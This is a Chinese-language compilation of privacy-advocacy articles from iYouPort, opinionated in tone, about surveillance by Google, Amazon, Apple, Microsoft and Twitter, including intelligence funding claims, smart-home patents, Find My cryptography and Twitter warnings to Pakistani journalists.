要理解这一重要性，你必须考虑到情报界正在努力实现的目标，因为它为学术界最好的计算机科学家提供了资助：美国中央情报局和国家安全局资助了一个非机密的、分隔的计划，该计划从一开始就是这样设计的，以促进看起来几乎与谷歌完全一样的东西的发展。 Brin 通过跟踪用户查询并将其与所进行的许多搜索联系起来进行页面排名的突破性研究—基本上就是识别“鸟羽”—也就是情报界 MDDS 计划的主要目标。

是谷歌，成功达成了间谍们最疯狂的梦想。

——情报界在硅谷的持久遗产——

近年来，数字隐私对情报社区与商业技术巨头之间交叉的关注日益增加。但是大多数人仍然不了解情报界在多大程度上依赖世界上最大的科技公司进行间谍工作。

民间自由权利倡导团体多年来一直在关注人们的隐私问题，特别是因为这一问题现在涉及臭名昭著的“爱国者法案”。

“9/11之后匆忙通过的所谓爱国者法案就是监视法律的许多变化中的第一个，这使得政府更容易通过扩大监视电话和电子邮件通信的权力来广泛监视普通的美国公民，收集银行和信用报告记录，并跟踪互联网上无辜美国人的活动，“ACLU 说。 “虽然大多数美国人认为这是为了抓捕恐怖分子，但所谓的”爱国者法案“实际上将普通公民全部变为了嫌疑人。”

当被问到时，最大的技术和通信公司—从 Verizon 和 AT＆T 到谷歌、Facebook 和微软—都辩称他们从未故意并主动将他们庞大的数据库提供给联邦安全和执法机构：他们说他们只是回应根据所谓“爱国者法案”条款提交的传票或请求—— 就像他们帮助中国等专制国家监视其公民一样的辩称：这是依照当地法律。

但是，即使粗略地浏览最近的公开记录，也会发现，有一系列不断提出的请求完全会破坏这一隐私承诺背后的意图。根据公司向公众提供的数据请求记录，在2016年至2017年的报告期内，地方、州和联邦政府机构寻求数据时向 Verizon 提出了超过260,000份传票、法院命令和其他法律请求，向 AT＆T 提出了超过250,000份此类请求，向

Google 提出近24,000份请求、搜查令或法院命令。直接的国家安全或反恐要求只是这一整体要求中的极小一部分，但爱国者法案的法律程序现在变得如此常规，以至于每个公司都有一组员工，他们的工作只是专注于处理这些请求—— 也就是专门负责破坏用户隐私。

通过这种方式，情报界与大型商业科技公司之间的合作取得了巨大的成功。当这些间谍机构需要识别和跟踪人员和群体时，他们知道应该找谁—— 并经常这样做。这是一开始就确立了的目标。如今它的“成功”超乎曾经所有人的想象。

Google’s true origin partly lies in CIA and NSA research grants for mass surveillance: It’s the origin story of the mass-surveillance state, and the government money that funded it.

原文

谷歌的窃听窥探正瞄准你的家庭，还有你孩子的卧室 - iYouPort

关于谷歌-监视资本主义的创始人

新专利显示谷歌正在悄悄开发智能家居自动化系统，该系统将实时窃听您的日常生活中最私密的一切。这些专利描述了摄像机和传感器如何被安装在每个房间里，随时扫描和分析人的每一个动作。

根据专利说明，智能相机可以识别印在T恤上的威尔史密斯的脸。在结合了人类的在线浏览器历史并交叉引用这些数据后，智能家居会向人们发送类似这样的消息：“你似乎喜欢威尔史密斯。他的新电影正在你附近的剧院演出。“

- 延伸阅读：这是一个案例，用短暂的浏览历史记录就能曝光一个人的内心所想《⚠ 浏览历史记录曝光你的内心全景图：#OSINT 开源调查演示》

「图」

「图」

通过将其与家庭中其他电子设备的深入分析以及用于确定性别的音频签名相结合，Google 将拥有足够的数据来创建关于个体乃至其所有家庭成员的生活全景图。

「图」

「图」

然后，系统将通过扫描你的衣柜来计算所谓的“时尚品味”，甚至可以基于其检测到的任何“昂贵的机械和/或电子设备”来确定人们的收入或社会阶层。

智能家居甚至可以追踪音频签名，也可用于识别用户本人，还可以确定人的性别和年龄。

「图」

「图」

这一切很明显都是侵入性的，于是，我们必须要了解科技公司已经挖掘了哪些数据，它恰好在线能找到：

谷歌和 Facebook 都在记录和分析用户的行为，使用这些数据来将人们分类，然后用于广告和其他内容定位；Facebook 可能知道您的种族和宗教信仰，而 Google 则使用您的电子邮件和搜索历史记录将您分类为目标；Netflix 根据用户观看的内容推断用户的所有类型数据，然后回馈超特定的电影和电视类别。该专利只是简单地扩展了您已经被开采的行为数据，并从手机和笔记本电脑记录扩展到您卧室的区域……“The Atlantic 写道。

第二项专利建议谷歌挖掘儿童卧室的数据。它提出了一个智能家居系统，可以帮助父母“管理”家庭，使用相机和传感器来监控孩子的一切行为。还记得《黑镜》中给孩子的大脑植入监控芯片那一集的内容？

虽然这些专利目前还不是产品，但它们确实代表了谷歌征服计划的一个重要趋势：你的家。

New patents show Google is quietly developing a smart-home automated system that will routinely eavesdrop on your daily life. The patents describe how cameras and sensors will be mounted in almost every room of the house, scanning and analyzing every movement a human makes.

原文

谷歌要削弱广告拦截器 - iYouPort

关于谷歌-监视资本主义的创始人

许多人安装广告拦截器或其他工具来阻止被网站跟踪。根据身份管理公司 Janrain 的一项调查，71%的受访者使用广告拦截器或其他工具来控制自己的在线体验。

广告拦截器通常是第三方软件，可以作为附加组件或“扩展”安装到您的 Web 浏览器。这些扩展将网络浏览体验的掌控权交给读者手中，而不是发布者。

但是，谷歌开源浏览器 Chromium 的改进建议将破坏许多现有的广告拦截器和其他阻止或更改在线内容的工具。如果建议的更改已合并到 Chrome 中，仍然可以屏蔽广告，但开发人员需要重写其 Chrome 扩展。许多开发人员都在抗议该提案，认为这些更改会对用户造成伤害。

谷歌的提议显示了这些扩展对广告巨头决策的依赖程度。Chrome 是世界上最受欢迎的浏览器，根据 StatCounter- up ，62%的网络用户使用 Chrome，一年前这一比例为 56%。上个月，微软宣布其 Edge 浏览器使用 Chromium 内核，从而为谷歌带来更多影响力。

表面上看，这些更改旨在提高 Chrome 和 Chromium 的安全性和性能。例如，Chrome 扩展程序现在可以访问您的浏览历史记录。这意味着一个恶意行为者可以提供一个暗中监视你的广告拦截器。（关于浏览记录有多可怕：《浏览历史记录曝光你的内心全景图：#OSINT 开源调查演示》）

谷歌建议切断扩展程序对浏览历史记录的访问权限，并提供了一个界面。但广告拦截公司 Ghostery 在其声明中表示，Google 提议的更改可能会阻止扩展程序拦截某些类型的侵犯隐私内容，例如网络跟踪器。“无论谷歌这样做是为了保护他们的广告业务，还是仅仅为了强迫他人遵守自己的规则，对其他所有人来说这都不过是另一个滥用其市场主导地位的案例，”广告拦截公司 Ghostery 在一份声明中说，“如果实现了这一点，我们将考虑提出反托拉斯投诉。”

受欢迎的广告拦截扩展程序 uBlock Origin 的开发人员 Raymond Hill 也公开表示反对，他写道：这些变化“使得无法想出新颖的过滤引擎设计”。

广告拦截器制造商 Bickham 也同意 Google 提议的更改可能会使内容拦截工具的灵活性降低。他说，该提议的更改可能会强制扩展阻止整个 JavaScript 文件，这可能会导致网站工作方式出现问题，或者不会阻止任何代码。

最终，这些变化意味着内容拦截器对页面呈现方式的控制会变少。换句话说，最终用户对其浏览体验的控制会变少。

Google’s Proposed Changes to Chrome Could Weaken Ad Blockers. Ultimately, the changes would mean content blockers would have less fine-tuned control over how a page is rendered.

原文

辞职抗议的顶级人工智能科学家详述了谷歌的虚伪 - iYouPort

关于谷歌-监视资本主义的创始人

Jack Poulson 是前谷歌研究科学家，他已经退出该公司的机器学习部门，在该部门专注于中国审查版搜索引擎计划 Dragonfly 后，该公司的这一秘密计划旨在帮助中国的间谍监视持不同政见者的搜索活动。

在一篇给“theintercept”的社论中，Poulson 描述了导致他辞职的一系列事件：一系列高管，他们在私下会议和公开声明中，进行虚伪的宣传，绕碧一切关键问题，而不是直截了当地回答他们为什么要进入中国，结果会是什么？（“赚钱”？“与人权侵犯共谋”？）

Poulson 正在成为人工智能界的罗伯特·奥本海默（Robert Oppenheimer）式的人物之一，这是首批对其滥用技术造成的人道主义后果采取高调辞职的顶级机器学习科学家之一。 下面是他说的话：

我在谷歌的最后两个星期将我的项目交给了其他工程师。我离开之前的倒数第二个晚上是与人工智能研究负责人 Jeff Dean 以及我与谷歌首席执行官令人失望的直接会面。Dean 认为，“只有少数问题会受到审查”，中国的监视与美国的“外国情报监视法”保证书类似。

具有讽刺意味的是，我一开始不打算与新闻界交谈，直到我后来读到 Hennessy 为他最近出版的“领导事项”一书的推广活动中所做的采访。当被问及谷歌重新进入中国市场的问题时，他轻蔑地说：“你对这个问题的看法，以及你如何看待审查问题的方式都会有一系列的变化。事实是，世界各地都有各种形式的审查制度。“

The top AI scientist who quit Google over Chinese censorship plans details the hypocrisy that sent him packing: Ironically, I had no intention of speaking with the press until I later read an interview Hennessy had done as part of a promotion for his recent book, “Leading Matters.” When asked about Google re-entering the Chinese market, he dismissively said, “There’s a shifting set of

grounds of how you think about that problem, and how you think about the issue of censorship. The truth is, there are forms of censorship virtually everywhere around the world.”

原文

‘Twitter 禁止我，没有理由，但最终他们会失败’ - iYouPort

关于亚马逊、苹果、推特

作者是海军陆战队退伍军人和亚利桑那州的前国会候选人。他有近 80,000 名粉丝，现在被推特封锁了，他说他并不在乎，因为他开启了新帐户。于是这篇文章并不是关于个人的，而是关于我们正在拥有的是一个什么样的国家，以及我们想要什么样的国家。

「图」

「图」

我一直在尽己所能，不要抱怨自己走过的人生路线，但我希望被人们理解成一个有远见的人，能遇见未来的人。

但是，正如您所知，Twitter昨天禁止了我的帐户 —— 不是暂停，而是永久封锁。

我有将近80,000名追随者，这些可怜的人现在漫无目的地在社交媒体上徘徊，以寻找他们再找不到的内容。

现在，我不太在乎，因为我将要开设一个新帐户，并且它会比我的上一个帐户更好（如果可能的话）。

这不是关于我个人的。这是关于我们拥有一个什么样的国家，以及我们想要成为什么样的国家。

我们已经成为一群敏感的失败者，只纠结于一言一语；我们仅仅关心事物“让我们如何感觉”。如今的人们只是想着如何把自己的才能和思想放到市场上等着有人愿意去买。

在美国，希望言论自由受到审查的人已经取代了言论自由的精神。这在社交媒体世界中最为明显。

正如我之前所说过的，社交媒体不是一件小事。不再是三个书呆子挤

在宿舍里幻想着一个女人承认自己存在的日子。

社交媒体已经超越了电话。这是与他人建立联系和交流的基本手段：25亿人使用 Facebook 和 Twitter。

那不是消失的边缘事物。现在，它已成为人类相互交流的方式。

它完全由知道自己拥有多大权力的硅谷寡头经营着。他们正在使用这种至高无上的权力。

- 这种至高无上的权力是什么？《国王们的晚宴》

但是权力是一件有趣的事。权力，无论当时看起来多么凶恶，总是有限的。

它不会永远持续下去。如果历史能告诉我们点什么的话，那就是，消音永远是只一个临时“解决方案”。

审查制度是一件可怕的事，并且，它有一个致命的缺陷：它行不通。声音已经爆发出来了，它们就不能被掩盖。

从长远来看 Twitter 禁止我进入他们的平台只会伤害他们自己。他们将继续边缘化自己，而我将继续成长。

我喜欢谈论政治，也喜欢谈论人。我需要Twitter来发声。我的广播节目很成功。我很高兴有一群朋友可以分享和交流彼此的想法。

但是更大的问题是：它会在哪里结束？我们如何容纳异议人士？压制我们不喜欢的声音可能会导致更好的社会吗？被沉默的声音最终会怎样？我们是否能通过强迫遵守一个与许多美国人的核心价值观背道而驰的学说来帮自己一个忙？……

我们将找出这些问题的答案。我们将解决这些问题。

我们将学会拒绝，学会向不同意见的人表达自己的意见。Twitter不会，但是美国比Twitter更好。一向如此。〇

原文

Apple如何找到您的离线设备？这是否是隐私噩梦？ - iYouPort

关于亚马逊、苹果、推特

似乎没有完美的解决方案。智能手机从来都是一个随身间谍

「图」

「图」

在 WWDC 大会上，Apple 发布了一个很酷的新功能，名为“Find My”。

与 Apple 早期的 “Find my iPhone” 不同，它使用蜂窝网络和丢失设备自己的GPS来识别丢失手机的位置。

“Find My” 则通时可以让你找到没有移动通信支持也没有内置GPS的设备—— 像笔记本电脑这样的东西，甚至是蓝牙跟踪标签，你可以附加到你的非电子物品上，比如钱包、钥匙、宠物……（Apple 只是广泛暗示这一点）。

这个新系统的想法是将 Apple 现有的 iPhone 网络变成一个庞大的众包位置跟踪系统。每个活动的 iPhone 都会持续监控可能来自任何丢失设备的BLE信标消息。

当它接收到其中一个信号时，参与的智能手机就用其自己的当前GPS位置标记数据，然后将整个数据包发送到 Apple 的服务器。

这对于那些经常丢失东西的人来说会很棒：如果我把背包落在了旅游巴士上，迟早会有人偶然发现它的信号，我会立即知道在哪里找到它。

（值得一提的是，Apple 没有发明这个想法。事实上，像 Tile 这样的公司已经做了很长一段时间了。是的，他们应该为寡头公司的竞争感

到担忧。）

如果您还没有通过上述描获得启发，那么我会说出您应该问的问题是：这个系统如何避免成为一场大规模的隐私噩梦？

下面梳理一下这些担忧：

- 如果您的设备不断发出可以唯一识别它的BLE信号，那么整个世界都可以跟踪您。营销人员已经使用WiFi和蓝牙MAC地址来执行此操作了：Find My 可以创建另一个跟踪渠道。
- 它还会暴露正在进行追踪的手机。这些人现在将把他们自己当前的位置发送给Apple。现在，他们也可能会与“丢失”设备的陌生人分享这些信息。这可能会很糟糕。比如诱捕者的操作？
- 诈骗者也可能会进行主动攻击，并伪造设备的位置。虽然这听起来不太可能，但你知道那些人总是会令你惊讶的。

好消息是 Apple 声称他们的系统提供了“强大的隐私”，并且它使用聪明的加密技术来实现这一点。

但通常情况下，他们拒绝详细说明他们将如何做到这一点。

这里是他们有可能如何做到（假设苹果没有撒谎的话/撒谎的可能性不低）。

一些快速问题设定

假设第一个“丢失”的设备叫 Timmy 。Timmy 有一个BLE，但没有GPS也没有连接到互联网。

幸运的是，他之前曾与第二个名叫 Ruth 的设备配对，后者希望找到他。

这里的主角是 Lassie：她是一个随机的陌生人的 iPhone，假设她至少偶尔会有互联网连接和 GPS。而且她是个纯粹的好人。

联网设备通过 Apple 的 iCloud 服务器进行通信，如下所示：

「图」

「图」

（由于 Timmy 和 Ruth 必须提前配对，它们可能是同一个人所拥有

的设备。我是否提到你需要购买两台 Apple 设备来使这个系统有效？这也很好理解对于 Apple 来说很有利）

由于这是一个安全系统，你应该问的第一个问题是：谁是坏人？在这种情况下的答案很不幸：每个人都可能是坏人。这就是让这个问题如此令人兴奋的原因。

如何保持 **Timmy** 匿名

这个系统最关键的方面是，需要让未经授权的第三方跟踪 Timmy，特别是当他并没有丢失时。

这就排除了一些非常明显的解决方案，例如让 Timmy 设备只是大喊："嗨，我的名字叫 Timmy，请打电话给我的妈妈 Ruth，让她知道我迷路了。"

它还排除了几乎任何不变的静态标识符，也包括不透明和随机的静态标识符。

如果 Apple 添加了静态跟踪标识符来支持"Find My"系统，那么所有这些问题都会变得更糟。

此要求意味着 Timmy 广播的任何消息都必须是不透明的；而且，这些信息的内容必须相对频繁地更改为无法链接到旧值的新值。

实现这一目标的一个显而易见的方法是让 Timmy 和 Ruth 同意 Timmy 的一长串随机"假名"，让 Timmy 每次都选择不同的假名。

这会有很大帮助。每当 Lassie 看到一些（未知）设备广播标识符时，她不会知道其中哪个属于 Timmy：但是她可以将它与她自己的GPS位置一起发送到Apple的服务器。

如果 Timmy 丢了，Ruth 可以要求 Apple 搜索 Timmy 可能的假名中的每一个。

由于 Apple 以外的任何人都不会知道这个假名列表，并且 Apple 也只是在有设备丢了后才能得到这个列表，这种方法可以防止大多数跟踪。

实现这一想法的一种稍微有效的方法是使用加密函数（如MAC或散列函数），以便从 Timmy 和 Ruth 将保留副本的单个简短"种子"生成假名列表。

然而为了找到 Timmy，Ruth 仍然必须将所有的假名发送到苹果公司，苹果必须在公司的数据库中搜索每一个假名。

隐藏 **Lassie** 的位置

上面描述的假名方法应该能够很好地保持 Timmy 的身份不受 Lassi、甚至是 Apple 的影响（直到 Ruth 搜索到它为止）。然而，它有一个很大的缺点：它并没有隐藏 Lassie 的 GPS 坐标。

这至少有几个原因是不好的。每当 Lassie 检测到某个设备广播消息时，她需要将她当前的位置（以及她看到的假名）发送到 Apple 的服务器。

这意味着 Lassie 会不断告诉 Apple 她在哪儿。

而且，即使 Apple 承诺不存储 Lassie 的身份，所有这些消息的结果都是一个巨大的集中式数据库，显示每个GPS位置，其中一些Apple设备已被检测到。

请注意，总体而言，这些数据非常具有启发性。是的，设备的标识符可能是假名—但这并不会使信息无用。

例如：显示某些 Apple 设备在一天内的某些时间从我的家庭地址广播的记录可能会显示我在家里。

防止向 Apple 公布此数据的一种显而易见的方法是对其进行加密——以便只有实际需要知道设备位置的各方才能看到此信息。

如果 Lassie 接到 Timmy 的广播，那么实际需要知道 Lassie 的 GPS 位置的唯一人就是 Ruch。为了保密这些信息，Lassie 应该在 Ruth 的加密密钥下加密她的坐标。

当然，这会引发一个问题：Lassie 如何获得 Ruth 的密钥？一个明显的解决方案是让 Timmy 大声喊出 Ruch 的公钥，作为他制作的每一个广播的一部分。

当然，这会产生一个静态标识符再次使 Timmy 的广播可以被关联。

为了解决这个问题，我们需要 Ruth 拥有许多不可关联的公钥，这样 Timmy 就可以为每个广播提供不同的公钥。

实现此目的的一种方法是让 Ruth 和 Timmy 生成许多不同的共享密

钥对（或从一些共享种子生成许多密钥对）。

但这很烦人，并且涉及 Ruch 需要存储许多密钥。实际上标识符可以通过散列每个公钥来派生。

稍微好一点的方法会使用密钥随机化（Apple可能不会使用）。这是由 Elgamal 等密码系统提供的功能：它允许任何一方随机化公钥，以便随机密钥与原始密钥完全不可链接。

「图」

「图」

于是结果是这样的。

每次 Timmy 广播时，他都会使用一个新的假名和 Ruch 公钥的随机副本。

当 Lassie 收到广播时，她会在公钥下加密她的 GPS 坐标，并将加密的消息发送给 Apple。

Ruth 可以将 Timmy 的假名发送给 Apple 的服务器，如果 Apple 发现匹配，她可以获取并解密 GPS 坐标。

这能解决所有问题吗？

最基本可以肯定的是，不能。没有完美的解决方案。

因为例如，如果 Timmy 是邪恶的并有目的地让 Lassie 向 Apple 展示她的位置怎么办？如果有人试图绑架 Lassie 怎么办？

某种程度上这些问题的答案只是意味着我们已经尽力了：任何剩下的问题都必须超出威胁模型。Lassie 应该知道什么时候放弃。〇

原文

Twitter 和政治威胁 - iYouPort

关于亚马逊、苹果、推特

还记得去年底发生的莫名其妙的中文推特账户被封锁事件吗？这样的事其实并不新鲜，在巴基斯坦，异议人士和记者们遇到了更危险的来自推特的威胁。相比中国，巴基斯坦对此的调查更充分一些，虽然鉴于推特的不透明，很多细节仍没有充分的证据。故事是这样的。

来自巴基斯坦喧嚣的港口城市卡拉奇的前国会议员阿里·拉扎·阿比迪于12月25日回国，当时两名不知名的男子多次向他开枪。由于成千上万的人在社交媒体上表达了敬意和祈祷，巴基斯坦内政部长 Shehryar Afridi 在Twitter上写道，所有可用资源都将用于“追踪”刺杀阿比迪的杀手。

巴基斯坦高级广播记者 Mubashir Zaidi 引用部长的推文，询问对另一起谋杀事件的调查情况：受害人 Tahir Dawar 是一名去年10月从巴基斯坦首都伊斯兰堡被绑架的警察。Dawar 的尸体后来在阿富汗被找到，并被发现带有遭受酷刑的痕迹。记者 Zaidi 评论说，阿比迪的谋杀案、以及达瓦尔和其他几个人的谋杀案，都仍然没有得到解决。

发送推文仅一周后，记者 Zaidi 就收到了 Twitter 发来的电子邮件。他被告知他的推文“违反了巴基斯坦的法律”。

“Twitter 目前尚未就被被告的内容采取任何行动。我们只是写信通知您，投诉中已经提到发布到您帐户的内容，“电子邮件中说。

“就像任何记者所做的那样，我只是向部长提出了一个问题而已，”**Zaidi** 说。他想知道他的推文究竟违反了哪条法律。他在 Twitter 上写道：“不知道究竟是谁在背后投诉的，以及推文是如何违反了巴基斯坦法律。”

Zaidi 并不是唯一收到此类电子邮件的人。虽然不是所有人都保留了记录，但仍有数十名巴基斯坦著名记者和活动家—包括那些居住在国外的人和那些不是巴基斯坦国家公民的巴基斯坦人—以及其他与该国

无关的活动家，也都收到了同样的电子邮件，来自 Twitter 的警告。

过去几年，Twitter 已成为巴基斯坦政治辩论的主要平台。从政府和反对派到以军事和权利为基础的团体，Twitter 一直是突发新闻、观点和争议叙事的主要平台。

在地方和国际媒体被有效禁止报道普什图族保护运动之后—这是一场驻扎在巴基斯坦西北部的反战人权运动，受到政府和军方的严格审查，该运动的组织者使用社交媒体，特别是 Twitter，来规避政府的审查并传播他们的抗议活动。

在一份电子邮件声明中，Twitter 发言人表示，许多国家/地区都有适用于平台上发布内容的法律。“在我们继续努力向所有人提供服务的情况下，如果我们从授权实体收到有效请求（原文如此），我们就有必要不时阻止某个国家/地区的某些内容，”声明说道。该发言人没有确认到目前为止是否以及有哪些内容被阻止了。

总部位于柏林的 Associated Reporters Abroad 的南亚记者 Naila Inayat 也于2018年11月3日收到 Twitter 发来的类似警告的电子邮件。此前她发布了一个 meme 比较了1971年巴基斯坦军队向印度军队投降的情况。仅在她发布了 meme 的一天之后就收到了推特发来的邮件。“作为一名在巴基斯坦工作的记者，我真的很害怕，”她说。她删除了她的推文。

人权工作者和记者报告，在巴基斯坦新闻自由恶化的气氛中，威胁和暴力行为都有所增加。在去年的详细报告中，保护记者委员会写道，巴基斯坦军方负责“通过直接和间接的恐吓方法鼓励自我审查，包括威胁编辑，甚至据称煽动对记者的暴力行为”。

“记者工作在巴基斯坦面临着极度痛苦的情况，我感到非常不安全，并一直想知道我违反了哪条法律，”Inayat 说。

另一位资深记者 Murtaza Solangi 也收到了 Twitter 的警告电子邮件。Solangi 之前被要求辞去伊斯兰堡当地新闻频道主席的职务。当时，他表示自己批评巴基斯坦军队的推文是他被解雇的原因。

巴基斯坦最大的媒体集团 Jang Group 的记者告诉 Coda，该集团的管理层一直受到压力，要求员工不要发布对军方的批评。

去年，当主要新闻频道突然被禁播时，Jang Group 面临危机，广告收入损失了数百万美元，Geo News 被评级提供商 Medialogic 评为巴

基斯坦最受欢迎的电视新闻台。后来，路透社报道说，该频道的管理层就军事政治报道与军方达成妥协，才被允许重新播出。

Geo News 仍然是巴基斯坦收视率最高的电视新闻频道，占全国收视率的24%。巴基斯坦信息和广播部长 Fawad Chaudhry 否认政府借助 Twitter 阻止了这些记者的内容。

总理伊姆兰汗在有争议的选举中获胜后仅仅六个月，他的新政府就因其对记者的待遇而受到了批评。Khan 的党派巴基斯坦司法运动，最近在推特上攻击了经济学人一篇批评该国军队的文章。“经济学人”正在攻击整个巴基斯坦国家……，该党派的推文说。

Chaudhry 补充说，与 Facebook不同，政府与 Twitter 没有经常联系。他说，在 Twitter 上阻止内容的请求“可能源自私人公民”。很简单，伪装民意的手段。

当国际法学家委员会的法律顾问雷马•奥梅尔（Reema Omer）于1月21日收到 Twitter 发来的一封警告电子邮件因她的推文讨论巴基斯坦军事法庭时，Chaudhry 在推特上再次否认了这一说法。该法庭因涉嫌侵犯基本权利受到严厉批评。

1月21日，巴基斯坦社会学家、拉合尔管理科学大学教授 Nida Kirmani 也收到 Twitter 发来的一封电子邮件，此前她的一条推文包括她站在 Pashtun 保护运动领导者 Manzoor Pashteen 旁边的照片。Kirmani 是公开支持普什图人保护运动的几位学者之一。

巴基斯坦数字权利基金会主任 Nighat Dad 表示 **Twitter** 的流程并不透明。她说，所有接收过 **Twitter** 警告电子邮件的人都有一个共同点：他们对巴基斯坦的安全机构持反对意见。她说：“许多记者和活动家都联系了我们，他们都对这些极其模糊的警告感到困惑，不知道他们是否应该担心。”

一些接受过这些警告的记者和活动家现在在生命受到威胁后选择了流亡。 2017年1月被绑架的博客作者 Ahmad Waqas Goraya 于10月5日收到了一封电子邮件，称他的推特账号违反了巴基斯坦的法律。现居住在荷兰的 Goraya 表示，巴基斯坦的安全机构绑架并折磨他，只因他发布了政治讽刺的 Facebook 页面。

去年6月短暂遭遇绑架的巴基斯坦现任政府和军事机构的异议评论家 Gul Bukhari 也于11月10日收到了 Twitter 的通知。同样，前 France 24 驻巴基斯坦记者 Taha Siddiqui 也收到了 Twitter 发来的警告电子

邮件，之后暂停了自己的账户。 Siddiqui 去年报道说他逃脱了在巴基斯坦的绑架企图。他现在住在巴黎。

Twitter 对异议推文的监视可以追溯到去年8月，当时该公司因未遵守政府阻止攻击性材料的要求而受到巴基斯坦禁令的威胁。“在巴基斯坦提出的阻止某些冒犯性材料的一百次请求中，大约有百分之五是被受理的，Twitter 无视所有其余的请求，“巴基斯坦电信管理局的一位高级官员告诉参议院说。

根据 Twitter 的透明度报告，该平台在2018年1月至2018年6月期间收到了巴基斯坦政府提出的243项删除请求。根据该报告，合规 率为0%。

总部位于巴基斯坦的互联网倡导和研究组织 Bolo Bhi 的联合创始人 Farieha Aziz 称赞 Twitter 没有遵守政府的要求。她补充道，“但在巴基斯坦的情况下，当前的政治环境对言论自由极为敌视，推特的警告电子邮件可能有必要被视为具有威胁性。 ”

分析人士还担心该国可能会进一步走向伊姆兰汗之下的威权主义，而伊姆兰汗被认为与军方有密切联系。最近，政府宣布了一个新的媒体监管机构，该机构也将拥有对社交媒体的监管权力，还包括印刷媒体和广播。

去年7月，Khan 攻击了巴基斯坦历史最悠久的英语日报“黎明”（Dawn），类似特朗普对媒体的攻击。Khan 的政府还在推特上发布了一个官方的名叫“假新闻破坏者”的帐户，该帐户负责维护官方叙事，经常将发布消息的记者批评为“假”。

Fawad Chaudhry 表示，政府正计划要求 Twitter 和 Facebook 等社交平台获得在巴基斯坦运营的官方许可。 “如果他们想在这里经营，他们必须根据现行法律获得许可证，”他在电话中说。

YouTube 在巴基斯坦已经被禁止了三年，并且在创建了一个允许政府要求删除内容的本地化版本后才被允许重新启动—— 比起给中国做的“蜻蜓”来说更邪恶。

“包括 Twitter 在内的所有这些美国巨头公司现在都试图在巴基斯坦寻找擦边球地带，避免被政府关闭[影响收入]”， Nighat Dad 说。

Warnings to Journalists Blur Twitter’s Transparency in Pakistan. Scores of prominent Pakistani journalists and activists have received

email warnings from Twitter informing them their tweets are in violation of Pakistan’s laws. The consequences for press freedoms could be dire

原文

一起官司如何揭示了亚马逊 Alexa 的真面目？ - iYouPort

关于亚马逊、苹果、推特无处不在，无处可逃-所谓的“智能”是什么

物联网本周再次回到新闻中。法官命令亚马逊转交与谋杀调查有关的 Alexa 设备的音频数据。这份保证书提出了一些有趣的事。调查人员认为，Alexa 可能已经捕获了事件过程的音频，并将其上传到了亚马逊的服务器，⚠这意味着：尽管没有说出“唤醒词”，Alexa 仍然会听到。

法官还要求提供在相关时间段内连接到该设备的所有设备的列表。这意味着亚马逊正在收集您家所有人的信息只要他们把自己的移动设备带在身上。

还有更明显的问题。比如设备的安全性，被黑客攻击的 Alexa 可以听你说和做的一切；还有更深层次的问题，比如你无法弄清楚老大哥正在收集什么。比如该设备可以根据监视者拟定的任何“关键词”进行记录，并等待用户说出唤醒词时将录音上传到亚马逊服务器。

由于与家庭服务器的所有通信都是加密的，您无法知道实际传输的是哪些信息。一个很好的例子就是谷歌 Android 向谷歌发送 GPS 信息，即使用户已经明确禁用了 GPS。在这里看到应对办法：《可以采取哪些措施来阻止 Google 和其他人跟踪您的手机？》

!更多警告：中国是热烈欢迎老大哥进入卧室的最大市场《👀亚马逊和谷歌正在将新的监视和窃听设备塞进您的居室和汽车里》

曾经是一个微弱的数字阴影、一个关于我们最近的浏览习惯留下的数据痕迹，已经发展成为完整的私密生活档案。你应该知道政府和他们的科技巨头现在知道什么：

- 你住的地方（GPS，IP 地址，地理位置，附近的 Wifi 和蓝牙设备）
- 你去了哪里（GPS 数据）
- 你做了什么（GPS 数据）

- 你买了什么（Cookies，支付数据，GPS 数据，网购账户数据）
- 你的朋友是谁（GPS 数据，应用程序和电子邮件联系人列表，甚至蓝牙）
- 您工作的地方（与接近度相关的 GPS 数据，就业记录，IP 地址，地理位置，工资单数据，IRS 数据）
- 你外出吃饭的地方（GPS，支付数据，地理位置）
- 你在用餐地点买的什么（GPS，支付数据，商店会员号）
- 当你做饭时（Smart Meters）
- 当你睡觉时（Smart Meters）
- 当你旅行时（GPS 数据，支付数据，地理位置，航空公司/火车/公共汽车的旅行数据）
- ……更多，写不开了

希望您在花钱邀请老大哥登门入户之前，考虑一下您付出的可不只有那些钱，还有人权和人身安危。算过总账后如果您依旧感觉值得，那就买吧。

The Internet of Things is Surveillance. There's a few interesting things raised by this warrant. The investigators believe that Alexa may have captured audio of the attack itself and uploaded it to Amazon servers, which means that Alexa would have been listening despite the "wake word" not being spoken.

原文

为什么要强调：不要用微软产品！ - iYouPort

关于亚马逊、苹果、推特

⚠微软通过Office应用程序进行“大规模和隐蔽”的私人数据收集，打破了欧洲隐私规则。这是根据本月的一份报告。受荷兰政府委托的该报告称，300,000 名员工的信息是由微软的 Office ProPlus 套件处理的，该软件安装在PC上并连接到 Office 365 服务器。

⚠报告的作者发现，Windows 巨人正在从其 Office 应用程序收集遥测数据和其他内容，包括使用翻译或拼写检查的电子邮件标题和句子，并秘密地将数据存储在美国的系统中。这是大忌。据称，这些行为打破了 #GDPR ，可能会使微软陷入数千万美元的罚款之中。荷兰当局威胁对微软罚款。

由于微软没有公开透露它收集了用户什么信息，而且没有提供关闭其 Office 软件发送给公司的诊断和遥测数据的选项，这已经是一种纯粹的监控方式，因此调查开始了……一个例子：如果您连续多次使用退格键、或通过其系统查找或翻译单词，那么 Microsoft 就会在该动作之前和之后存储整个句子。

该档案发现微软跟踪了大约 25,000 种不同类型的“事件”，并拥有一个由20到30名工程师组成的团队来分析这些数据。那些技术人员还可以添加要记录的新“事件”。荷兰数据保护机构得出的最终结论是，微软在“许多方面”违反了 GDPR，包括“缺乏透明度和目的限制，以及缺乏处理的法律依据”。

Microsoft broke Euro privacy rules by carrying out the “large scale and covert” gathering of private data through its Office apps

原文

亚马逊向错误的人发送了约1,700 条 Alexa 录音 - iYouPort

关于亚马逊、苹果、推特

一位德国亚马逊用户要求该公司提供与他有关的所有数据—— 这是根据“通用数据保护条例”（GDPR）中的“访问权限”条款的权利，该条款于去年4月份通过，该条款要求公司向用户提供他们使用的个人信息的副本。

但是，亚马逊意外地向这个人发送了 1,700 条来自陌生人的录音，并且还包括不知道是谁在淋浴时发出的声音！发出 GDPR 请求的那个人甚至没有拥有任何 Alexa 设备。 Bleich 在获得双方许可的情况下获得了数据，并指出使用录音可以很容易推断出受害者生活的详细信息。

“使用这些数据，很容易识别出涉及的人和他的女性伴侣，天气查询，名字，甚至是某人的姓氏，使我们能够快速识别他所有朋友关系。而来自 Facebook 和 Twitter 的公开数据将一个人最私密的生活全景图补充得更加完整了。“

